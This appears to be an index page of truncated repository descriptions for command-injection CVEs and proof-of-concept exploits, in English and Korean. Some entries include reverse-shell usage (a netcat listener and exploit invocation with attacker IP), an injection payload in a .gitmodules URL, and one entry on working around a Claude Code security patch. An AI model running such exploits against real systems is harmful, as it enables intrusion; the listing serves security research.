CVE-2021-46704-POC

CVE-2021-46704-POC CVE-2021-46704 GenieACS Command Injection POC Affecting genieacs package, versions =1.2.0 1.2.8 How to fix? Upgrade genieacs to version 1.2.8 or higher. Affected versions of this package are vulnerable to Command Injection via the ping host argument lib/ui/api.ts and lib/ping.t...

xerial__sqlite-jdbc_CVE-2023-32697_3-41-2-1

SQLite JDBC Driver SQLite JDBC is a library for accessing and creating SQLite database files in Java. Our SQLiteJDBC library requires no configuration since native libraries for major OSs, including Windows, macOS, Linux etc., are assembled into a single JAR Java Archive file. Usage ➡️ More usage...

CVE-2024-3400

CVE-2024-3400 설명 특정 PAN-OS 버전 및 특정 기능 구성에서 Palo Alto Networks PAN-OS 소프트웨어의 GlobalProtect 기능 내 임의 파일 생성 취약점으로 인한 명령 주입은 인증되지 않은 공격자가 방화벽에서 루트 권한으로 임의 코드를 실행할 수 있게 할 수 있습니다. Cloud NGFW, Panorama 어플라이언스 및 Prisma Access는 이 취약점의 영향을 받지 않습니다. CVE-2024-3400 Palo Alto PAN-OS 취약점용 Nuclei 템플릿 이 저장소에는 Palo...

CVE-2023-0861-POC

Analyzing and Reproducing the Command Injection Vulnerability CVE-2023-0861 in NetModule Routers NetModule is an Original Equipment Manufacturer OEM of industrial grade routers that are commonly used in critical infrastructure and industrial control systems. On February 24th, 2023, ONEKEY, a...

CVE-2023-33782

CVE-2023-33782 Description D-Link DIR-842V2 v1.0.3 was discovered to contain a command injection vulnerability in the iperf3 diagnostics functionality. Proof of concept...

ralph

Ralph A working implementation of the Ralph Wiggum autonomous loop technique for Claude Code. Background The official ralph-wiggum plugin in Anthropic's plugin marketplace is currently broken due to a security update in Claude Code v1.0.20 August 2025. The security patch CVE-2025-54795 correctly...

cve-2022-36804

CVE-2022-36804: Atlassian Bitbucket Server의 사전 인증 RCE Atlassian Bitbucket Server 및 Data Center의 여러 API 엔드포인트에서 심각한 명령 주입 취약점이 발견되었습니다. 이 취약점은 , , , , , , 이전에 출시된 모든 Bitbucket Server 및 Data Center 버전에 영향을 미칩니다. CVE-2022-36804 실습 환경Lab Docker 빌드 docker build -t bitbucket . Docker 실행 docker run -it...

cve-2022-36804

CVE-2022-36804: Pre-Auth RCE in Atlassian Bitbucket Server A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions &...

CVE-2024-24576-PoC

CVE-2024-24576 PoC Command::arg 및 Command::args API는 문서에서 인수가 셸에 의해 해석되지 않고 인수의 내용과 관계없이 생성된 프로세스에 그대로 전달된다고 명시합니다. 이는 신뢰할 수 없는 입력을 인수로 전달해도 안전해야 함을 의미합니다. Windows에서는 이 구현이 다른 플랫폼보다 더 복잡합니다. Windows API는 생성된 프로세스에 전달되는 모든 인수를 포함하는 단일 문자열만 제공하며, 이를 분할하는 것은 생성된 프로세스의 몫이기 때문입니다. 대부분의 프로그램은 표준 C 런타임...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 POC command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands. Exploit Title:...

MAL-004

MAL-004: Command Injection Bypass for CVE-2020-12641 in Roundcube Webmail A bypass was found for "CVE-2020-12641: Command Injection via "imconvertpath" in Roundcube Webmail" affecting versions before 1.4.5, 1.3.12. The php “escapeshellcmd” function, implemented to prevent “CVE-2020-12641: Command...

CVE-2024-3400

CVE-2024-3400 취약점 설명 CVE-2024-3400 취약점은 PAN-OS 방화벽의 10.2, 11.0 및 11.1 버전에 영향을 미치는 보안 취약점입니다. 이 취약점은 GlobalProtect 게이트웨이 및 장치 텔레메트리 구성이 활성화된 경우 악용됩니다. 공격자는 이 취약점을 악용하여 악성 명령을 실행하고 시스템 보안을 손상시킬 수 있습니다. 기술적 세부 사항 CVE : CVE-2024-3400 영향받는 제품 : PAN-OS 방화벽 10.2, 11.0 및 11.1 버전 영향 : 원격 코드 실행, 시스템 보안 손상 ...

CVE-2019-19356

NETIS router WF2419 RCE CVE-2019-19356 Context The vulnerability is an authenticated Remote Code Execution RCE as root through the NETIS WF2419 router Web management page. The vulnerability has been found on firmware version V1.2.31805 and on the last available firmware version V2.2.36123. Other...

CVE-2023-2636

CVE-2023-2636...

CVE-2023-51385_test

Verify CVE-2023-51385 First, add the following to /.ssh/config 主机 .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Command injection exists in the .gitmodules file statement url = ssh://echo helloworld cve.txtfoo.example.com/bar After configuration is complete, execute the...

CVE-2025-65791

CVE-2025-65791 — Command Injection in ZoneMinder Overview A critical Command Injection vulnerability exists in ZoneMinder v1.36.34 due to improper input validation in the web/views/image.php component. Unsanitized user-controlled input is passed directly to the PHP exec function, allowing remote...

CVE-2023-33869-RCE-PoC

에너지 보안 및 신뢰성 센터 - UNC Charlotte CVE-2023-33869는 Enphase Envoy 펌웨어 버전 D7.0.88에 영향을 미치는 명령 삽입 취약점입니다. 이 취약점은 공격자가 영향을 받는 장치에서 루트 권한으로 임의의 명령을 주입 및 실행할 수 있게 합니다. Enphase Envoy는 주거용 및 상업용 태양광 에너지 시스템에 흔히 배포되는 태양광 마이크로인버터 게이트웨이 장치로서, 이 취약점은 중요 인프라 및 IoT 환경에 특히 우려되는 요소입니다...

CVE-2022-25765

CVE-2022-25765 Exploit A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection Usage 1. Start a netcat listener on your attack machine: nc -lvnp 4444 2. Run the exploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Example: python cve-2022-25765.py -t...

CVE-2020-12124

Anatomy of an IoT Exploit, from Hands-On to RCE originally at https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce by David E. Baker, published on June 1, 2023 Foreword This study concerns the firmware of the Wavlink Wireless-AC1200 Gigabit router as of...

CVE-2026-25643

Frigate NVR ≤ 0.16.3 블라인드 RCE 익스플로잇 CVE-2026-25643 PoC 📜 설명 이 Python 익스플로잇은 Frigate NVR 0.16.3 이하 버전의 중요한 구성 조작 취약점인증된 경로 및 인증되지 않은 경로 모두을 대상으로 합니다. 악성 go2rtc 스트림과 가짜 카메라 항목을 주입하여 서비스 재시작 중 Frigate 프로세스로 임의 명령 실행을 트리거합니다 — 리버스 셸이나 출력 캡처가 필요하지 않습니다. 🛠️ 설치 !NOTE 프로젝트 종속성을 위한 깨끗하고 격리된 환경을 보장하려면...